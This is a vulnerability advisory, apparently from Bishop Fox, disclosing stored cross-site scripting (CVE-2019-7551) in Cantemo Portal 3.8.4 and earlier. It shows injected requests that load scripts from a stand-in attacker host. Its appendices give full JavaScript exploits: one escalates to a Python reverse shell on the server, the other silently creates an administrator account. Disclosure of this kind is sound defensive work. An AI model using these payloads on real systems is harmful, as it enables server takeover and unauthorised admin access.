Cantemo Portal Advisory Summary
Product Vendor
Cantemo AB
Product Description
Cantemo AB is a software systems and technology vendor for major media outlets. The Cantemo Portal application is a high-performance media asset management tool. The latest version at the time of this research was version 3.8.4. Testing was performed on a pre-release version of 4.0.0. Through the cooperation of the vendor, it was determined to affect version 3.8.4 and older versions. Cantemo plans to patch the issue in v4.0.0.
Affected Version 3.8.4
Vulnerability
One vulnerability was identified within the Cantemo Portal application: Cross-site scripting
This vulnerability is described in the following section.
Impact
As stated in Cantemo's official release, "A successful exploit could lead to users with access to the system obtaining more access than granted, including admin access. Depending on system configuration an attacker can also potentially execute arbitrary code on the server running Cantemo Portal." Considering the organizations that rely on this software (such as major news networks), the results of a successful attack could have been catastrophic.
Solution
Update to v4.0.0 after official release (which was March 8, 2019).
Researcher:
Chris Davis, Security Analyst at Bishop Fox
Cross-Site Scripting Vulnerabilities
The Cantemo Portal application is affected by several instances of stored cross-site scripting (XSS) that allow attackers to execute arbitrary JavaScript. The vulnerability could be exploited by a low-privilege user and would affect administrative users. The walkthrough below uses two payloads: one to execute arbitrary code on the server and the other to create a high privilege administrative user. The exploit code is included in the appendixes after the walkthrough.
The exploits demonstrated are interchangeable. The code execution and administrative user creation payloads can be delivered using any of the three stored XSS locations listed in the following advisory. The payload variations were included to illustrate the potential impact.
Vulnerability Details
CVE ID: CVE-2019-7551
Access Vector: Remote
Security Risk: High
Vulnerability: CWE-79
CVSS Base Score: 9.0
CVSS Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H
Stored Cross-Site Scripting: Collections Name
Cross-site scripting that led to remote code execution (RCE) was found while creating a new collection and/or renaming an existing collection. During creation of a new collection, the following POST request was sent, which contained the XSS payload:
POST /vs/collections/add/ HTTP/1.1
…omitted for brevity…
csrfmiddlewaretoken=b1F7IslSnneMxjylTfTvrG8YpkmFeggmI9hTMDpMDTV4tR9X9B7yOSf9sZws00O6&newcollectionname=RCE<script>jQuery.getScript("http://evil.support/rce.js")</script>&collectionprofilegroup=AllRoles
Once the payload was stored in the collection name, it could be triggered by typing the first two characters of the affected collection name. This loaded it into the search functionality and executed the payload, as shown below:
Once the initial payload executed,rce.js
was loaded from the attacker-controlled server and executed. The JavaScript payload uploaded a shell script to the administrative rules engine 3
then executed the file. The code executed on the Cantemo Portal application server returned an interactive command shell to the attacker server. The exploit code in rce.js
can be found in Appendix A of this disclosure. The reverse shell connection is shown below:
This vulnerability can be exploited by any user with the privilege to modify or create collections and affects any user who can add files into collections, including administrative users. For the remote code execution payload to work, the victim user must have administrative or rules engine 3
permissions.
Stored Cross-site Scripting: Filename
The Cantemo Portal application filenames were vulnerable to stored XSS.
Using a low-privilege user with access to the Ingest Upload functionality, a new image was uploaded to the /vs/upload/ endpoint that contained an XSS payload. The Cantemo Portal application had client-side filtering in place to block special characters within the file name. To bypass this the initial, a GET request was modified with the XSS payload, as shown below:
GET /vs/upload/passkey?originalFilename=happy.jpeg<script>jQuery.getScript("http://evil.support/exploit.js")</script>originalFileSize=173957&ingestprofilegroup=LowPriv HTTP/1.1
…omitted for brevity…
Additionally, this payload could be set by selecting a file from the search functionality and modifying the title. The payload shown above loaded exploit.js
from an attacker-controlled server. Exploit.js
contained a payload designed to create a new administrative user within the Cantemo Portal application. The full payload is included in Appendix B of this disclosure.
POST /vs/item/VX-4/update_field/title/ HTTP/1.1
…omitted for brevity…
field_value=happy.jpeg%3Cscript%3EjQuery.getScript(%22http%3A%2F%2Fevil.support%2Fexopit.js%3C%2Fscript%3E
The stored XSS payload would execute when a user performed one of several functions listed below:
Action | Endpoint |
Viewing the file before or after the affected file, as the JavaScript loads into the Next and Previous |
/vs/item/VX-[#]/?index=[#]&search_id=[#] |
The Add to Bin functionality |
/vs/item/VX-[#]/?index=[#]&search_id=[#]
|
The Preview functionality |
/search?search_id=[#]&page=[#] |
The Add child & Add parent functionality, after two or more characters from the affected filename are entered. |
/vs/item/VX-[#]/?index=[#]&search_id=[#]#related |
Once an admin performed any of the above functionality, the payload executed and created the new admin user, as shown below:
Authenticated with an XSS-created user with full administrative privileges
The payload used to create the new administrative user was designed to affect administrative users. However, this vulnerability will affect any authenticated user.
Stored Cross-Site Scripting: Metadata Group Display Name
The metadata group names were vulnerable to XSS. Once a metadata group has been created at <span style="font-size:16px;background-color:#c2d6f2;"><code><span style="font-size:16px;"><span style="font-family:'courier new', courier, monospace;">/vs/metadatamanagement/</span></span></code></span>
, a malicious user can set the display name to contain an XSS payload, shown in the below request:
POST /vs/metadatamanagement/forms/Cross%20site%20scripting/ HTTP/1.1
…omitted for brevity…
{"formfield":[],"formgroup":[{"attributes":{"language":"","display_name":"XSS<script>alert("XSS")</script>"},"type":"mdGroup","name":"XSS","id":"XSS"}]}
The payload would execute whenever an authenticated user navigated to the /vs/metadatamanagement/
endpoint, and again when any metadata group was selected from the same endpoint, as shown below:
The JavaScript executes within the application’s origin. In this demonstration, a simple alert box was used to show its successful execution. This vulnerability can be exploited by any user who has the privilege to modify Metadata Groups. This exploit affects any authenticated user including admins who browse to the /vs/metadatamanagement/endpoint
Appendix A — XSS Exploit Code to Gain Remote Code Execution (RCE)
An attacker can use the following payload to a reverse shell:
// XSS to RCE payload
// Function to grab CSRF Token
getCsrfToken = async () => {
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", "/rulesengine3/", true);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200) {
doc = xhr.response;
const csrfTkn = doc.getElementsByName("csrfmiddlewaretoken")[0].value;
uploadShell(csrfTkn);
}
};
xhr.send();
}
// Upload payload to Rules3 eninge
uploadShell = async (csrfTkn) => {
var formData = new FormData();
// Appends the CSRF token into the form
formData.append("csrfmiddlewaretoken", csrfTkn);
// Sets the filename and reverse shell, simple python shell for ease
const fileName = "revshell.sh";
const content = 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("Remote-IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);\' ';
// Appends the shell into the upload form
var shell = new Blob([content], { type: "application/x-shellscript"});
formData.append("script_file", shell, fileName);
formData.append("submit", "Upload");
// Uploads the form to the server
var xhr = new XMLHttpRequest();
xhr.open("POST", "/rulesengine3/script/", true);
xhr.send(formData);
createRule(csrfTkn, fileName);
}
// Creates the rule with shell code to run
createRule = async (csrfTkn, fileName) => {
const ruleName = "XSS2RCE"
var xhr = new XMLHttpRequest();
xhr.open("POST", "/rulesengine3/create/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.onreadystatechange = async () => {
if (xhr.DONE === 4) {
getProcessId(csrfTkn);
}
};
xhr.send("metadatagroup=Film&portal_mf201890_0=&portal_mf201890_1=integer&portal_mf551902_0=&portal_mf551902_1=integer&portal_mf619153_0=&portal_mf619153_1=textarea&portal_mf257027_0=&portal_mf257027_1=lookup&portal_mf268857_0=&portal_mf268857_1=date&csrfmiddlewaretoken=" + csrfTkn + "&rule_name=" + ruleName + "&title=started+manually&extra_data=&link_url=&trigger_type=Manual&recipient=group_Admin&permission=none&acl_priority=0&acl_method=dynamic&transcode_format=lowres&move_copy_job_priority=&move_copy_formats=%23&move_copy_storage_count=%23&move_copy_new_directory=&action_shell_script=on&shell_script_file=" + fileName + "&export_priority=&export_location=dummy&export_format=dummy&export_metadata=dummy&delete_grace_period=24&collection_name=&collection_remove_name=&email=");
}
// Pulls the process_id param needed to execute manual rules
getProcessId = async (csrfTkn) => {
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
// The open assumes VX-1 exists i.e. a file within the search
xhr.open("GET", "/rulesengine3/start_process/?selected_objects=VX-1", true);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200) {
doc = xhr.response;
var procId = doc.getElementsByName("process_id")[0].value;
teamMorty(csrfTkn, procId);
}
};
xhr.send();
}
// Function to execute uploaded shell script :)
teamMorty = async (csrfTkn, procId) => {
var xhr = new XMLHttpRequest();
xhr.open("POST", "/rulesengine3/start_process/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("csrfmiddlewaretoken=" + csrfTkn + "&objects=VX-1&process_id=" + procId)
}
getCsrfToken();
Appendix B — XSS Exploit Code to Create Admin User
An attacker can use the following payload to create a new admin user:
//XSS payload to create a new Admin within Cantemo Portal
// Function to grab CSRF Token
getCsrfToken = async () => {
var xhr = new XMLHttpRequest();
xhr.responseType = "document";
xhr.open("GET", "/users/add/", true);
xhr.onreadystatechange = async (e) => {
if (xhr.readyState === 4 && xhr.status === 200) {
doc = xhr.response;
csrfTkn = doc.getElementsByName("csrfmiddlewaretoken")[0].value;
createAdmin(csrfTkn);
}
};
xhr.send();
}
// Create new user with Admin role
createAdmin = async (csrfTkn) => {
var xhr = new XMLHttpRequest();
xhr.open("POST", "/users/add/", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("csrfmiddlewaretoken=" + csrfTkn + "&vsuser-username=XSSUSER&vsuser-password1=Zerocool&vsuser-password2=Zerocool&user-first_name=test&user-last_name=user&user-email=&groups=Admin&uspr-default_group=2&uspr-default_ingest_group=2&uspr-_default_metadata_group_item=&uspr-_default_metadata_group_collection=&uspr-_default_metadata_group_subclip=&uspr-homepage=%2Fsearch%2F&uspr-theme=2&uspr-contact_number=&uspr-paginate_by=15&uspr-notes=&uspr-organisation=")
}getCsrfToken();
Subscribe to Bishop Fox's Security Blog
Be first to learn about latest tools, advisories, and findings.
Thank You! You have been subscribed.